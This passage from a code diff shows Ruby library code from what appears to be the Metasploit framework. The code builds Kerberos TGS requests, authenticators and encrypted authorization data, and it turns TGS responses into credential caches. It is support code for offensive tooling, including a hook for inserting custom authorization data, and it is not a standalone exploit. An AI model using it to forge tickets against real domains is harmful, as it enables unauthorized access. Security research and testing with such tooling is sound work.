# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::AuthorizationData, Rex::Proto::Kerberos::Model::EncryptionKey>}]
# @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
# @return [Rex::Proto::Kerberos::Model::EncryptedData]
# @raise [RuntimeError] if auth_data option isn't provided
# @see Rex::Proto::Kerberos::Model::AuthorizationData
# @see Rex::Proto::Kerberos::Model::EncryptionKey
# @see Rex::Proto::Kerberos::Model::EncryptedData
def build_enc_auth_data(opts = {})
auth_data = opts[:auth_data]
if auth_data.nil?
raise ::RuntimeError, 'auth_data option required on #build_enc_auth_data'
end
subkey = opts[:subkey] || build_subkey(opts)
encrypted = auth_data.encrypt(subkey.type, subkey.value)
e_data = Rex::Proto::Kerberos::Model::EncryptedData.new(
etype: subkey.type,
cipher: encrypted
)
e_data
end
# Builds a KRB_AP_REQ message
#
# @param opts [Hash{Symbol => <Fixnum, Rex::Proto::Kerberos::Model::Ticket, Rex::Proto::Kerberos::Model::EncryptedData, Rex::Proto::Kerberos::Model::EncryptionKey>}]
# @option opts [Fixnum] :pvno
# @option opts [Fixnum] :msg_type
# @option opts [Fixnum] :ap_req_options
# @option opts [Rex::Proto::Kerberos::Model::Ticket] :ticket
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :authenticator
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :session_key
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
# @raise [RuntimeError] if ticket option isn't provided
# @see Rex::Proto::Kerberos::Model::Ticket
# @see Rex::Proto::Kerberos::Model::EncryptedData
# @see Rex::Proto::Kerberos::Model::EncryptionKey
def build_ap_req(opts = {})
pvno = opts[:pvno] || Rex::Proto::Kerberos::Model::VERSION
msg_type = opts[:msg_type] || Rex::Proto::Kerberos::Model::AP_REQ
options = opts[:ap_req_options] || 0
ticket = opts[:ticket]
authenticator = opts[:authenticator] || build_authenticator(opts)
session_key = opts[:session_key] || build_subkey(opts)
if ticket.nil?
raise ::RuntimeError, 'Building a AP-REQ without ticket not supported'
end
enc_authenticator = Rex::Proto::Kerberos::Model::EncryptedData.new(
etype: session_key.type,
cipher: authenticator.encrypt(session_key.type, session_key.value)
)
ap_req = Rex::Proto::Kerberos::Model::ApReq.new(
pvno: pvno,
msg_type: msg_type,
options: options,
ticket: ticket,
authenticator: enc_authenticator
)
ap_req
end
# Builds a kerberos authenticator for a TGS request
#
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::PrincipalName, String, Time, Rex::Proto::Kerberos::Model::EncryptionKey>}]
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
# @option opts [String] :realm
# @option opts [Time] :ctime
# @option opts [Fixnum] :cusec
# @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum
# @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey
# @return [Rex::Proto::Kerberos::Model::Authenticator]
# @see Rex::Proto::Kerberos::Model::PrincipalName
# @see Rex::Proto::Kerberos::Model::Checksum
# @see Rex::Proto::Kerberos::Model::EncryptionKey
# @see Rex::Proto::Kerberos::Model::Authenticator
def build_authenticator(opts = {})
cname = opts[:cname] || build_client_name(opts)
realm = opts[:realm] || ''
ctime = opts[:ctime] || Time.now
cusec = opts[:cusec] || ctime.usec
checksum = opts[:checksum] || build_tgs_body_checksum(opts)
subkey = opts[:subkey] || build_subkey(opts)
authenticator = Rex::Proto::Kerberos::Model::Authenticator.new(
vno: 5,
crealm: realm,
cname: cname,
checksum: checksum,
cusec: cusec,
ctime: ctime,
subkey: subkey
)
authenticator
end
# Builds an encryption key to protect the data sent in the TGS request.
#
# @param opts [Hash{Symbol => <Fixnum, String>}]
# @option opts [Fixnum] :subkey_type
# @option opts [String] :subkey_value
# @return [Rex::Proto::Kerberos::Model::EncryptionKey]
# @see Rex::Proto::Kerberos::Model::EncryptionKey
def build_subkey(opts={})
subkey_type = opts[:subkey_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC
subkey_value = opts[:subkey_value] || Rex::Text.rand_text(16)
subkey = Rex::Proto::Kerberos::Model::EncryptionKey.new(
type: subkey_type,
value: subkey_value
)
subkey
end
# Builds a kerberos TGS request body
#
# @param opts [Hash{Symbol => <Fixnum, Time, String, Rex::Proto::Kerberos::Model::PrincipalName, Rex::Proto::Kerberos::Model::EncryptedData>}]
# @option opts [Fixnum] :options
# @option opts [Time] :from
# @option opts [Time] :till
# @option opts [Time] :rtime
# @option opts [Fixnum] :nonce
# @option opts [Fixnum] :etype
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname
# @option opts [String] :realm
# @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname
# @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data
# @return [Rex::Proto::Kerberos::Model::KdcRequestBody]
# @see Rex::Proto::Kerberos::Model::PrincipalName
# @see Rex::Proto::Kerberos::Model::KdcRequestBody
def build_tgs_request_body(opts = {})
options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable
from = opts[:from] || Time.utc('1970-01-01-01 00:00:00')
till = opts[:till] || Time.utc('1970-01-01-01 00:00:00')
rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00')
nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i
etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC]
cname = opts[:cname] || build_client_name(opts)
realm = opts[:realm] || ''
sname = opts[:sname] || build_server_name(opts)
enc_auth_data = opts[:enc_auth_data] || nil
body = Rex::Proto::Kerberos::Model::KdcRequestBody.new(
options: options,
cname: cname,
realm: realm,
sname: sname,
from: from,
till: till,
rtime: rtime,
nonce: nonce,
etype: etype,
enc_auth_data: enc_auth_data
)
body
end
# Builds a Kerberos TGS Request body checksum
#
# @param opts [Hash{Symbol => <Rex::Proto::Kerberos::Model::KdcRequestBody, Fixnum>}]
# @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body
# @return [Rex::Proto::Kerberos::Model::Checksum]
# @see #build_tgs_request_body
# @see Rex::Proto::Kerberos::Model::Checksum
def build_tgs_body_checksum(opts = {})
body = opts[:body] || build_tgs_request_body(opts)
checksum_body = body.checksum(Rex::Proto::Kerberos::Crypto::RSA_MD5)
checksum = Rex::Proto::Kerberos::Model::Checksum.new(
type: 7,
checksum: checksum_body
)
checksum
end
end
end
end
end

View File

@ -0,0 +1,74 @@
# -*- coding: binary -*-
require 'rex/proto/kerberos'
module Msf
module Kerberos
module Client
module TgsResponse
# Extracts the Kerberos credentials, buildint a MIT Cache Credential,
# from a Kerberos TGS response.
#
# @param res [Rex::Proto::Kerberos::Model::KdcResponse]
# @param key [String]
# @return [Rex::Proto::Kerberos::CredentialCache::Cache]
# @see Rex::Proto::Kerberos::Model::EncKdcResponse
# @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode
# @see Msf::Kerberos::Client::CacheCredential
# @see Rex::Proto::Kerberos::CredentialCache::Cache
def extract_kerb_creds(res, key)
decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_TGS_RESPONSE)
enc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res)
client = create_cache_principal(
name_type: res.cname.name_type,
realm: res.crealm,
components: res.cname.name_string
)
server = create_cache_principal(
name_type: enc_res.sname.name_type,
realm: enc_res.srealm,
components: enc_res.sname.name_string
)
key = create_cache_key_block(
key_type: enc_res.key.type,
key_value: enc_res.key.value
)
times = create_cache_times(
auth_time: enc_res.auth_time,
start_time: enc_res.start_time,
end_time: enc_res.end_time,
renew_till: enc_res.renew_till
)
credential = create_cache_credential(
client: client,
server: server,
key: key,
time: times,
ticket: res.ticket.encode,
flags: enc_res.flags
)
cache_principal = create_cache_principal(
name_type: res.cname.name_type, # NT_PRINCIPAL
#realm: realm,# opts[:realm],
realm: res.crealm,
#components: user # [opts[:cname]]
components: res.cname.name_string
)
cache = create_cache(
primary_principal: cache_principal,
credentials: [credential]
)
cache
end
end
end
end
end

Some files were not shown because too many files have changed in this diff Show More